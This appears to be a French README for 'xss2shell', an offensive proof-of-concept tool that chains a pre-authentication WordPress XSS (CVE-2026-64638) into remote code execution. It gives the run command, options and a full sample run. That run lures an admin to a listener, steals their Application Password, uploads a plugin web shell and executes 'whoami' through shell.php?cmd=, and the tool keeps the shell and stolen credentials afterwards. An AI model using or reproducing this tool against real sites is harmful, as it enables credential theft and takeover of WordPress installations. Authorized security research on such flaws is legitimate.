
# Preuve de concept d'exploitation XSS pré-authentification vers RCE sur WordPress (xss2shell & CVE-2026-64638)
XSS2Shell est une preuve de concept éducative pour CVE-2026-64638, démontrant l'impact d'un problème de XSS avant authentification dans des installations WordPress vulnérables. Avec la participation explicite d'un administrateur, la preuve de concept capture un mot de passe d'application WordPress, publie une page temporaire, téléverse un plugin de test et vérifie si le point de terminaison du shell résultant peut exécuter une commande.
Contexte technique : XSS WordPress avant authentification vers RCE : CVE-2026-64638
Éducation et tests autorisés uniquement. N'exécutez cet outil que contre des sites WordPress que vous possédez ou pour lesquels vous avez obtenu l'autorisation écrite d'évaluer. Ne l'utilisez pas pour cibler des administrateurs tiers ou des systèmes de production.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| Option | Requis | Description |
|---|---|---|
-t, --target | Oui | URL de base de WordPress, incluant http:// ou https:// |
-c, --command | Oui | Commande à exécuter une fois le shell disponible |
--lhost | Non | IP du listener à lier et à annoncer ; par défaut, l'IP LAN détectée |
--lport | Non | Port du listener ; 0 sélectionne un port disponible aléatoire |
--keep | Non | Conserver les artefacts publiés au lieu de supprimer la page temporaire |
L'URL cible est normalisée automatiquement, donc une barre oblique finale est facultative.
/wp-login.php est accessible et ressemble à une page de connexion WordPress.shell.php et exécute la commande demandée.Le listener doit être accessible depuis le navigateur de l'administrateur. Le NAT, le pare-feu, le proxy, le blocage des fenêtres pop-up et les règles de contenu mixte peuvent empêcher le flux navigateur de s'achever.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Les exécutions réussies enregistrent le mot de passe d'application capturé dans xss2shell_creds.json pour le réutiliser lors d'exécutions ultérieures. La page publiée temporaire est supprimée automatiquement après la commande, sauf si --keep est utilisé.
Le plugin de test, le point de terminaison du shell, le mot de passe d'application et les identifiants enregistrés sont intentionnellement conservés par la preuve de concept actuelle. Retirez-les manuellement du site de test après une évaluation autorisée, puis supprimez xss2shell_creds.json localement.
Traitez le fichier d'identifiants comme sensible et ne le commettez jamais dans un système de contrôle de version.
Utilisez la licence incluse dans ce dépôt.
Réalisé par WordSec